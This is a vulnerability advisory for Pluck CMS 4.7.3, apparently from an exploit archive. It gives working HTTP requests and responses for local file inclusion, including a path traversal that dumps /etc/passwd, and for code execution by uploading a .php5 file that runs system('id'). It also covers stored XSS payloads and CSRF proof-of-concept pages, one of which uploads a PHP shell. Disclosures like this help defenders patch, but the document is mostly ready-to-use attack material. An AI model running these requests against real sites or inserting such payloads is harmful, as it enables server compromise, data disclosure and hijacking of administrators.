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Pluck 4.7.3 - Multiple vulnerabilities

Author

Smash_

Risk

[

Security Risk Critical

]

0day-ID

Category

Date add

Platform

# Title: Pluck 4.7.3 - Multiple vulnerabilities
# Date: 28.08.15
# Vendor: pluck-cms.org
# Affected versions: => 4.7.3 (current)
# Tested on: Apache2.2 / PHP5 / Deb32
# Author: Smash_ | smaash.net
# Contact: smash [at] devilteam.pl

Bugs:
 - local file inclusion
 - code execution
 - stored xss
 - csrf


1/ LFI

File inclusion vulnerability in pluck/admin.php in the in 'action' function allows  to include local files or potentially execute arbitrary PHP code.

#1 - Request (count = en.php by default):
POST /pluck/admin.php?action=language HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pluck/admin.php?action=language
Cookie: PHPSESSID=pb60nm4nq5a14spmt1aimdl525
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

cont1=../../../../../../../etc/passwd&save=Save


#1 - Response:
HTTP/1.1 200 OK
Date: Fri, 28 Aug 2015 21:01:47 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 7374
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
(...)
<div id="content">
	<h2>language settings</h2>
<div class="success">The language settings have been saved.</div>
(...)

#2 - Request:
POST /pluck/admin.php?action=language HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pluck/admin.php?action=language
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

cont1=../../../../../../etc/passwd%00&save=Save

#2 - Response:
HTTP/1.1 200 OK
Date: Fri, 28 Aug 2015 20:30:11 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
Set-Cookie: PHPSESSID=63erncd2l94qcah8g13bfvcga6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4503
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
mysql:x:101:103:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
colord:x:103:107:colord colour management daemon,,,:/var/lib/colord:/bin/false
usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false
miredo:x:105:65534::/var/run/miredo:/bin/false
ntp:x:106:113::/home/ntp:/bin/false
Debian-exim:x:107:114::/var/spool/exim4:/bin/false
arpwatch:x:108:117:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh
avahi:x:109:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
beef-xss:x:110:119::/var/lib/beef-xss:/bin/false
dradis:x:111:121::/var/lib/dradis:/bin/false
pulse:x:112:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
haldaemon:x:114:124:Hardware abstraction layer,,,:/var/run/hald:/bin/false
iodine:x:115:65534::/var/run/iodine:/bin/false
postgres:x:116:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin
redsocks:x:118:128::/var/run/redsocks:/bin/false
snmp:x:119:129::/var/lib/snmp:/bin/false
stunnel4:x:120:130::/var/run/stunnel4:/bin/false
statd:x:121:65534::/var/lib/nfs:/bin/false
sslh:x:122:133::/nonexistent:/bin/false
Debian-gdm:x:123:134:Gnome Display Manager:/var/lib/gdm3:/bin/false
rtkit:x:124:136:RealtimeKit,,,:/proc:/bin/false
saned:x:125:137::/home/saned:/bin/false
devil:x:1000:1001:devil,,,:/home/devil:/bin/bash
debian-tor:x:126:138::/var/lib/tor:/bin/false
privoxy:x:127:65534::/etc/privoxy:/bin/false
redis:x:128:139:redis server,,,:/var/lib/redis:/bin/false
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="../../../../../../etc/passwd" lang="../../../../../../etc/passwd">
<head>
(...)



2/ Code Execution

By default .php extenions shall be amended to .txt, but it is able to upload code simply by using other extension like php5.

#1 - Request:
POST /pluck/admin.php?action=files HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pluck/admin.php?action=files
Cookie: PHPSESSID=pb60nm4nq5a14spmt1aimdl525
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------155797884312716218971623852778
Content-Length: 376

-----------------------------155797884312716218971623852778
Content-Disposition: form-data; name="filefile"; filename="phpinfo.php5"
Content-Type: application/x-php

<?php
system('id');
?>

-----------------------------155797884312716218971623852778
Content-Disposition: form-data; name="submit"

Upload
-----------------------------155797884312716218971623852778--


#1 - Response:
HTTP/1.1 200 OK
Date: Fri, 28 Aug 2015 20:41:43 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 9947
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
(...)


#2 - Request:
GET /pluck/files/phpinfo.php5 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pluck/admin.php?action=files
Cookie: PHPSESSID=pb60nm4nq5a14spmt1aimdl525
Connection: keep-alive

#2 - Response:
HTTP/1.1 200 OK
Date: Fri, 28 Aug 2015 20:41:44 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
Vary: Accept-Encoding
Content-Length: 54
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)




3/ STORED XSS

 a) image upload
 
XSS is possible via file name.

Request:
POST /pluck/admin.php?action=images HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pluck/admin.php?action=images
Cookie: PHPSESSID=pb60nm4nq5a14spmt1aimdl525
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------3184135121063067737320373181
Content-Length: 5013

-----------------------------3184135121063067737320373181
Content-Disposition: form-data; name="imagefile"; filename="<img src=# onerror=alert(1337)>.png"
Content-Type: image/png

(...)

-----------------------------3184135121063067737320373181
Content-Disposition: form-data; name="submit"

Upload
-----------------------------3184135121063067737320373181--

Response:
HTTP/1.1 200 OK
Date: Fri, 28 Aug 2015 20:43:19 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 9125
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
(...)
				<div class="menudiv">
					<strong>Name:</strong> <img src=# onerror=alert(1337)>.png					<br />
					<strong>Size:</strong> 4653 bytes					<br />
					<strong>Type:</strong> image/png					<br />
					<strong>Upload successful!</strong>
				</div>
(...)


 b) page
 
XSS is possible when changing request, value of POST 'content' will be encoded by default.

#1 - Request:
POST /pluck/admin.php?action=editpage HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pluck/admin.php?action=editpage
Cookie: PHPSESSID=pb60nm4nq5a14spmt1aimdl525
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 127

title=hello12&seo_name=&content=<script>alert(1337)</script>&description=&keywords=&hidden=no&sub_page=&theme=default&save=Save

#1 - Response:
HTTP/1.1 200 OK
Date: Fri, 28 Aug 2015 21:11:43 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 7337
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8

#2 - Request:
GET /pluck/?file=hello12 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pluck/?file=hello
Cookie: PHPSESSID=pb60nm4nq5a14spmt1aimdl525
Connection: keep-alive

#2 - Response:
HTTP/1.1 200 OK
Date: Fri, 28 Aug 2015 21:11:51 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.41-0+deb7u1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1289
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
(...)
		<div class="submenu">
						</div>
		<div class="kop">hello12</div>
		<div class="txt">
			<script>alert(1337)</script>					</div>
		<div style="clear: both;"> </div>
		<div class="footer">
(...)




4/ CSRF

Since there is no protection at all, it is able to trigger many actions via cross site request forgery.

<html>
  <!-- Change site settings -->
  <body>
    <form action="http://localhost/pluck/admin.php?action=settings" method="POST">
      <input type="hidden" name="cont1" value="pwn" />
      <input type="hidden" name="cont2" value="usr&#64;mail&#46;box" />
      <input type="hidden" name="save" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <!-- File upload -->
  <body>
    <script>
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/pluck/admin.php?action=files", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------155797884312716218971623852778");
        xhr.withCredentials = true;
        var body = "-----------------------------155797884312716218971623852778\r\n" + 
          "Content-Disposition: form-data; name=\"filefile\"; filename=\"phpinfo.php5\"\r\n" + 
          "Content-Type: application/x-php\r\n" + 
          "\r\n" + 
          "\x3c?php\r\n" + 
          "system(\'id\');\r\n" + 
          "?\x3e\r\n" + 
          "\r\n" + 
          "-----------------------------155797884312716218971623852778\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Upload\r\n" + 
          "-----------------------------155797884312716218971623852778--";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
  </body>
</html>


#  0day.today [2024-11-15]  #

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Please, beware of scammers!

Pluck 4.7.3 - Multiple vulnerabilities

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